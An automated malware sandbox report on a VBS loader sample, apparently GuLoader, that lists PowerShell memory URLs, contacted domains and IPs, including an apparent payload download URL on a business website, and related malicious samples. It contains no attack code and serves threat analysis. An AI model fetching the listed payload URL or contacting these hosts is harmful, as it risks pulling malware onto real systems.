https://puneet.ae/wp-content/uploads/2022/03/creative-for-puneet-ae.jpg	0%	Avira URL Cloud	safe
https://puneet.ae/xmlrpc.php?rsd	0%	Avira URL Cloud	safe
https://puneet.ae/cms-development-dubai	0%	Avira URL Cloud	safe
https://puneet.ae/website-redesign-dubai	0%	Avira URL Cloud	safe
https://puneet.ae/instagram-marketing-dubai	0%	Avira URL Cloud	safe
https://puneet.ae/wp-content/themes/puneet/assets/js/bannerHover.js?ver=1672827078	0%	Avira URL Cloud	safe
https://puneet.ae/ui-ux-design-dubai	0%	Avira URL Cloud	safe
https://puneet.ae/wp-content/themes/puneet/assets/images/404-graphic1.png	0%	Avira URL Cloud	safe
https://puneet.ae/wp-content/uploads/2022/07/icon-marketing-sr1-360x337.webp	0%	Avira URL Cloud	safe
https://puneet.ae/wp-content/uploads/2022/07/icon-design-sr1-300x281.webp	0%	Avira URL Cloud	safe
https://puneet.ae/wp-content/plugins/contact-form-7/includes/swv/js/index.js?ver=6.0.1	0%	Avira URL Cloud	safe
https://puneet.ae	0%	Avira URL Cloud	safe
https://puneet.ae/wp-content/themes/puneet/assets/css/frank.css?ver=1663577742	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
puneet.ae	209.124.66.28	true	false	unknown
default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com	217.20.58.101	true	false	high
ftsengineers.com	103.53.42.63	true	false	unknown
www.puneet.ae	unknown	unknown	true	unknown
www.ftsengineers.com	unknown	unknown	true	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://www.puneet.ae/it/Kontrastrigt.mso	false	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://puneet.ae/branding-agency-dubai	powershell.exe, 00000004.00000002.2399981492.00000174630D9000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://puneet.ae/social-media-marketing	powershell.exe, 00000004.00000002.2399981492.00000174630D9000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://ogp.me/ns#	powershell.exe, 00000004.00000002.2428365661.0000017472AF0000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2399981492.00000174630D9000.00000004.00000800.00020000.00000000.sdmp	false		high
https://puneet.ae/wp-content/plugins/contact-form-7/includes/js/index.js?ver=6.0.1	powershell.exe, 00000004.00000002.2399981492.0000017462F8F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2428365661.0000017472AF0000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2399981492.00000174630D9000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://puneet.ae/brand-strategy-dubai	powershell.exe, 00000004.00000002.2399981492.00000174630D9000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://linkedin.com/in/puneetsakhuja	powershell.exe, 00000004.00000002.2399981492.00000174630D9000.00000004.00000800.00020000.00000000.sdmp	false		high
https://puneet.ae/wp-includes/js/dist/vendor/wp-polyfill.min.js?ver=3.15.0	powershell.exe, 00000004.00000002.2399981492.0000017462F8F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2428365661.0000017472AF0000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2399981492.00000174630D9000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.ftsengineers.com	powershell.exe, 00000004.00000002.2399981492.00000174631CF000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://instagram.com/puneetsakhuja?utm_medium=copy_link	powershell.exe, 00000004.00000002.2399981492.00000174630D9000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.puneet.ae	powershell.exe, 00000004.00000002.2399981492.00000174648CD000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2399981492.00000174630D9000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://puneet.ae/wp-content/themes/puneet/assets/js/home-main.js?ver=1689674457	powershell.exe, 00000004.00000002.2399981492.0000017462F8F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2428365661.0000017472AF0000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://puneet.ae/wp-content/themes/puneet/assets/css/main.css?ver=1657796780	powershell.exe, 00000004.00000002.2428365661.0000017472AF0000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2399981492.00000174630D9000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://puneet.ae/web-design-dubai	powershell.exe, 00000004.00000002.2399981492.00000174630D9000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.google.com/recaptcha/api.js?render=6LfdBGMpAAAAAOzqzNpijilS6Noyt5q3K3tY2sBA&ver=3.0	powershell.exe, 00000004.00000002.2399981492.0000017462F8F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2428365661.0000017472AF0000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2399981492.00000174630D9000.00000004.00000800.00020000.00000000.sdmp	false		high
https://puneet.ae/brand-guidelines-dubai	powershell.exe, 00000004.00000002.2399981492.00000174630D9000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://aka.ms/pscore6lB	powershell.exe, 00000007.00000002.3338058452.0000000004BB1000.00000004.00000800.00020000.00000000.sdmp	false		high
https://nuget.org/nuget.exe	powershell.exe, 00000004.00000002.2428365661.0000017472B4E000.00000004.00000800.00020000.00000000.sdmp	false		high
https://puneet.ae/wp-content/plugins/contact-form-7/includes/css/styles.css?ver=6.0.1	powershell.exe, 00000004.00000002.2428365661.0000017472AF0000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2399981492.00000174630D9000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	powershell.exe, 00000004.00000002.2399981492.0000017462AE1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.3338058452.0000000004BB1000.00000004.00000800.00020000.00000000.sdmp	false		high
https://puneet.ae/wp-content/uploads/2022/07/icon-branding-sr1.webp	powershell.exe, 00000004.00000002.2428365661.0000017472AF0000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2399981492.00000174630D9000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://puneet.aeceUr	powershell.exe, 00000004.00000002.2399981492.0000017462F9B000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://puneet.ae(	powershell.exe, 00000004.00000002.2399981492.00000174630D9000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://puneet.ae/wp-content/uploads/2022/07/icon-branding-sr1-300x281.webp	powershell.exe, 00000004.00000002.2428365661.0000017472AF0000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2399981492.00000174630D9000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.ftsengineers.com	powershell.exe, 00000004.00000002.2399981492.00000174631CF000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://puneet.ae/about	powershell.exe, 00000004.00000002.2399981492.00000174630D9000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://puneet.ae/wp-content/themes/puneet/assets/css/responsive.css?ver=1705912311	powershell.exe, 00000004.00000002.2428365661.0000017472AF0000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2399981492.00000174630D9000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://puneet.ae/wp-content/themes/puneet/assets/js/main-js.js?ver=1664775502	powershell.exe, 00000004.00000002.2399981492.0000017462F8F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2428365661.0000017472AF0000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://pesterbdd.com/images/Pester.png	powershell.exe, 00000004.00000002.2399981492.0000017462D06000.00000004.00000800.00020000.00000000.sdmp	false		high
https://puneet.ae/	powershell.exe, 00000004.00000002.2428365661.0000017472AF0000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2399981492.00000174630D9000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://puneet.ae/contact	powershell.exe, 00000004.00000002.2399981492.00000174630D9000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.apache.org/licenses/LICENSE-2.0.html	powershell.exe, 00000004.00000002.2399981492.0000017462D06000.00000004.00000800.00020000.00000000.sdmp	false		high
https://puneet.ae/portfolio	powershell.exe, 00000004.00000002.2399981492.00000174630D9000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://go.micro	powershell.exe, 00000004.00000002.2399981492.0000017463F5F000.00000004.00000800.00020000.00000000.sdmp	false		high
https://puneet.ae/wp-content/plugins/add-to-any/addtoany.min.css?ver=1.16	powershell.exe, 00000004.00000002.2428365661.0000017472AF0000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2399981492.00000174630D9000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://contoso.com/Icon	powershell.exe, 00000004.00000002.2428365661.0000017472B4E000.00000004.00000800.00020000.00000000.sdmp	false		high
https://puneet.ae/wp-content/themes/puneet/assets/images/bar.png	powershell.exe, 00000004.00000002.2428365661.0000017472AF0000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2399981492.00000174630D9000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://puneet.ae/wp-content/themes/puneet/assets/js/custom/primary.js?ver=1690182382	powershell.exe, 00000004.00000002.2399981492.0000017462F8F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2428365661.0000017472AF0000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2399981492.00000174630D9000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://puneet.ae/#person	powershell.exe, 00000004.00000002.2399981492.00000174630D9000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://puneet.ae/seo-dubai	powershell.exe, 00000004.00000002.2399981492.00000174630D9000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://schema.org	powershell.exe, 00000004.00000002.2428365661.0000017472AF0000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2399981492.00000174630D9000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/Pester/Pester	powershell.exe, 00000004.00000002.2399981492.0000017462D06000.00000004.00000800.00020000.00000000.sdmp	false		high
https://puneet.ae/sitemap	powershell.exe, 00000004.00000002.2428365661.0000017472AF0000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2399981492.00000174630D9000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://puneet.ae/wp-content/themes/puneet/assets/css/bootstrap.min.css?ver=4.0	powershell.exe, 00000004.00000002.2428365661.0000017472AF0000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2399981492.00000174630D9000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://puneet.ae/wp-content/themes/puneet/assets/images/linked-in.svg	powershell.exe, 00000004.00000002.2428365661.0000017472AF0000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2399981492.00000174630D9000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://puneet.ae/wp-content/uploads/2022/07/icon-marketing-sr1.webp	powershell.exe, 00000004.00000002.2428365661.0000017472AF0000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2399981492.00000174630D9000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://puneet.ae/wp-content/uploads/2022/03/favicon.png	powershell.exe, 00000004.00000002.2399981492.00000174630D9000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://puneet.ae/marketing-collateral-design-dubai	powershell.exe, 00000004.00000002.2399981492.00000174630D9000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://puneet.ae/wp-content/themes/puneet/assets/images/puneet-ae-portfolio-preview.pdf	powershell.exe, 00000004.00000002.2399981492.00000174630D9000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://puneet.ae/wp-content/uploads/2022/07/icon-design-sr1-67x63.webp	powershell.exe, 00000004.00000002.2399981492.00000174630D9000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://puneet.ae/wp-content/themes/puneet/assets/css/style.css?ver=1705905999	powershell.exe, 00000004.00000002.2428365661.0000017472AF0000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2399981492.00000174630D9000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.designrush.com/best-designs/print/illuminati-vodka-print-design	powershell.exe, 00000004.00000002.2428365661.0000017472AF0000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2399981492.00000174630D9000.00000004.00000800.00020000.00000000.sdmp	false		high
https://puneet.ae/wp-content/uploads/2023/10/Best-Print-Design.webp	powershell.exe, 00000004.00000002.2428365661.0000017472AF0000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2399981492.00000174630D9000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://puneet.ae/digital-marketing-agency-dubai	powershell.exe, 00000004.00000002.2399981492.00000174630D9000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://puneet.ae/wp-content/plugins/contact-form-7/modules/recaptcha/index.js?ver=6.0.1	powershell.exe, 00000004.00000002.2399981492.0000017462F8F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2428365661.0000017472AF0000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2399981492.00000174630D9000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.puneet.ae	powershell.exe, 00000004.00000002.2399981492.00000174644E9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2399981492.0000017462D06000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2399981492.00000174630D9000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://puneet.ae/wp-includes/js/dist/hooks.min.js?ver=4d63a3d491d11ffd8ac6	powershell.exe, 00000004.00000002.2399981492.0000017462F8F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2428365661.0000017472AF0000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2399981492.00000174630D9000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://puneet.ae/wp-content/themes/puneet/assets/images/pin.svg	powershell.exe, 00000004.00000002.2428365661.0000017472AF0000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2399981492.00000174630D9000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://contoso.com/License	powershell.exe, 00000004.00000002.2428365661.0000017472B4E000.00000004.00000800.00020000.00000000.sdmp	false		high
http://ftsengineers.com	powershell.exe, 00000004.00000002.2399981492.00000174631CF000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://puneet.ae/clients	powershell.exe, 00000004.00000002.2399981492.00000174630D9000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://puneet.ae/wp-json/	powershell.exe, 00000004.00000002.2399981492.00000174630D9000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://puneet.ae/wordpress-websites	powershell.exe, 00000004.00000002.2399981492.00000174630D9000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://puneet.ae/comments/feed	powershell.exe, 00000004.00000002.2428365661.0000017472AF0000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2399981492.00000174630D9000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://puneet.ae/wp-content/themes/puneet/assets/images/testi-video.webp	powershell.exe, 00000004.00000002.2399981492.0000017462F8F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2428365661.0000017472AF0000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2399981492.00000174630D9000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://puneet.ae/wp-content/uploads/2022/07/icon-marketing-sr1-67x63.webp	powershell.exe, 00000004.00000002.2399981492.00000174630D9000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://puneet.ae/wp-content/themes/puneet/assets/js/m	powershell.exe, 00000004.00000002.2399981492.00000174630D9000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://puneet.ae/wp-content/uploads/2022/07/icon-branding-sr1-67x63.webp	powershell.exe, 00000004.00000002.2399981492.00000174630D9000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://puneet.ae/ecommerce-development-dubai	powershell.exe, 00000004.00000002.2399981492.00000174630D9000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://puneet.ae/wp-content/themes/puneet/assets/css/admin.css?ver=1.0	powershell.exe, 00000004.00000002.2428365661.0000017472AF0000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2399981492.00000174630D9000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://puneet.ae/wp-content/uploads/2022/07/icon-design-sr1-360x337.webp	powershell.exe, 00000004.00000002.2428365661.0000017472AF0000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2399981492.00000174630D9000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://static.addtoany.com/menu/page.js	powershell.exe, 00000004.00000002.2428365661.0000017472AF0000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2399981492.00000174630D9000.00000004.00000800.00020000.00000000.sdmp	false		high
https://puneet.ae/blog	powershell.exe, 00000004.00000002.2399981492.00000174630D9000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://puneet.ae/feed	powershell.exe, 00000004.00000002.2428365661.0000017472AF0000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2399981492.00000174630D9000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://puneet.ae/wp-content/themes/puneet/assets/images/PS_logo.png	powershell.exe, 00000004.00000002.2399981492.00000174630D9000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://rankmath.com/	powershell.exe, 00000004.00000002.2428365661.0000017472AF0000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2399981492.00000174630D9000.00000004.00000800.00020000.00000000.sdmp	false		high
https://contoso.com/	powershell.exe, 00000004.00000002.2428365661.0000017472B4E000.00000004.00000800.00020000.00000000.sdmp	false		high
https://wa.me/971509372493?utm_source=Puneet%20Home&utm_medium=Puneet%20Website&utm_campaign=Puneet%	powershell.exe, 00000004.00000002.2399981492.0000017462F8F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2428365661.0000017472AF0000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2399981492.00000174630D9000.00000004.00000800.00020000.00000000.sdmp	false		high
https://puneet.ae/#website	powershell.exe, 00000004.00000002.2399981492.00000174630D9000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://puneet.ae/wp-includes/js/dist/i18n.min.js?ver=5e580eb46a90c2b997e6	powershell.exe, 00000004.00000002.2399981492.0000017462F8F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2428365661.0000017472AF0000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2399981492.00000174630D9000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://crl.m:	powershell.exe, 00000004.00000002.2434443047.000001747B198000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://puneet.ae/linkedin-marketing-dubai	powershell.exe, 00000004.00000002.2399981492.00000174630D9000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://puneet.ae/xmlrpc.php?rsd	powershell.exe, 00000004.00000002.2428365661.0000017472AF0000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2399981492.00000174630D9000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://puneet.ae/wp-content/uploads/2022/03/creative-for-puneet-ae.jpg	powershell.exe, 00000004.00000002.2399981492.00000174630D9000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://puneet.ae/cms-development-dubai	powershell.exe, 00000004.00000002.2399981492.00000174630D9000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://puneet.ae/website-redesign-dubai	powershell.exe, 00000004.00000002.2399981492.00000174630D9000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://puneet.ae/instagram-marketing-dubai	powershell.exe, 00000004.00000002.2399981492.00000174630D9000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://puneet.ae/ui-ux-design-dubai	powershell.exe, 00000004.00000002.2399981492.00000174630D9000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://twitter.com/puneet_ae	powershell.exe, 00000004.00000002.2428365661.0000017472AF0000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2399981492.00000174630D9000.00000004.00000800.00020000.00000000.sdmp	false		high
http://nuget.org/NuGet.exe	powershell.exe, 00000004.00000002.2428365661.0000017472B4E000.00000004.00000800.00020000.00000000.sdmp	false		high
https://puneet.ae/wp-content/themes/puneet/assets/js/bannerHover.js?ver=1672827078	powershell.exe, 00000004.00000002.2399981492.0000017462F8F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2428365661.0000017472AF0000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://puneet.ae/wp-content/uploads/2022/07/icon-design-sr1-300x281.webp	powershell.exe, 00000004.00000002.2428365661.0000017472AF0000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2399981492.00000174630D9000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://puneet.ae/wp-content/themes/puneet/assets/images/404-graphic1.png	powershell.exe, 00000004.00000002.2428365661.0000017472AF0000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2399981492.00000174630D9000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://puneet.ae/wp-content/uploads/2022/07/icon-marketing-sr1-360x337.webp	powershell.exe, 00000004.00000002.2428365661.0000017472AF0000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2399981492.00000174630D9000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://puneet.ae/wp-content/plugins/contact-form-7/includes/swv/js/index.js?ver=6.0.1	powershell.exe, 00000004.00000002.2399981492.0000017462F8F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2428365661.0000017472AF0000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2399981492.00000174630D9000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://puneet.ae/wp-content/themes/puneet/assets/css/frank.css?ver=1663577742	powershell.exe, 00000004.00000002.2428365661.0000017472AF0000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2399981492.00000174630D9000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://api.w.org/	powershell.exe, 00000004.00000002.2399981492.00000174630D9000.00000004.00000800.00020000.00000000.sdmp	false		high
https://pinterest.com/puneetuae/	powershell.exe, 00000004.00000002.2428365661.0000017472AF0000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2399981492.00000174630D9000.00000004.00000800.00020000.00000000.sdmp	false		high
https://puneet.ae	powershell.exe, 00000004.00000002.2399981492.00000174630D9000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://static.hotjar.com/c/hotjar-	powershell.exe, 00000004.00000002.2428365661.0000017472AF0000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2399981492.00000174630D9000.00000004.00000800.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
103.53.42.63	ftsengineers.com	India		394695	PUBLIC-DOMAIN-REGISTRYUS	false
209.124.66.28	puneet.ae	United States		55293	A2HOSTINGUS	false

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1578210
Start date and time:	2024-12-19 12:34:12 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 32s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	10
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	v4BET4inNV.vbs renamed because original name is a hash value
Original Sample Name:	3cf4bcb55cd5a352b25c180acce977e652863d8ed09d07335aed81dbc56520f2.vbs
Detection:	MAL
Classification:	mal100.troj.expl.evad.winVBS@9/9@4/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 88 Number of non-executed functions: 21
Cookbook Comments:	Found application associated with file extension: .vbs

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe
Excluded IPs from analysis (whitelisted): 217.20.58.101, 13.107.246.63, 20.12.23.50
Excluded domains from analysis (whitelisted): ocsp.digicert.com, otelrules.azureedge.net, slscr.update.microsoft.com, ctldl.windowsupdate.com.delivery.microsoft.com, ctldl.windowsupdate.com, wu-b-net.trafficmanager.net, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target powershell.exe, PID 1200 because it is empty
Execution Graph export aborted for target powershell.exe, PID 1576 because it is empty
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: v4BET4inNV.vbs

Simulations

Behavior and APIs

Time	Type	Description
06:35:07	API Interceptor	1x Sleep call for process: wscript.exe modified
06:35:08	API Interceptor	1x Sleep call for process: WMIC.exe modified
06:35:11	API Interceptor	223x Sleep call for process: powershell.exe modified
06:37:00	API Interceptor	631x Sleep call for process: conhost.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
103.53.42.63	List of required items and services pdf.vbs	Get hash	malicious	GuLoader, RHADAMANTHYS	Browse
	S1a5ZF3ytp.vbs	Get hash	malicious	GuLoader	Browse
	List of required items pdf.vbs	Get hash	malicious	GuLoader	Browse
	List of required items and services pdf.vbs	Get hash	malicious	GuLoader	Browse
	https://2itchyfeets.com	Get hash	malicious	Unknown	Browse
	http://2itchyfeets.com	Get hash	malicious	Unknown	Browse
	Linux_x86	Get hash	malicious	Unknown	Browse
209.124.66.28	t5lpvahkgypd7wy.vbs	Get hash	malicious	GuLoader, RHADAMANTHYS	Browse
	List of required items and services pdf.vbs	Get hash	malicious	GuLoader, RHADAMANTHYS	Browse
	List of required items pdf.vbs	Get hash	malicious	GuLoader	Browse
	List of required items and services pdf.vbs	Get hash	malicious	GuLoader	Browse
	https://amdat-my.sharepoint.com/:o:/g/personal/mai_amd_at/EoDy7F40M29Hj1IohtQ4kIQBoQXIpIg2xex0MiXjURHhng?e=a92LfU	Get hash	malicious	HTMLPhisher	Browse
	https://url.us.m.mimecastprotect.com/s/KCOEC2kqvrf0N8VsnT72v?bWV5ZXJzZXJ2aWNlcw==	Get hash	malicious	Unknown	Browse
	XXX.wav.html	Get hash	malicious	HTMLPhisher	Browse
	XXX.wav.html	Get hash	malicious	HTMLPhisher	Browse
	XXX.wav.html	Get hash	malicious	HTMLPhisher	Browse

Domains

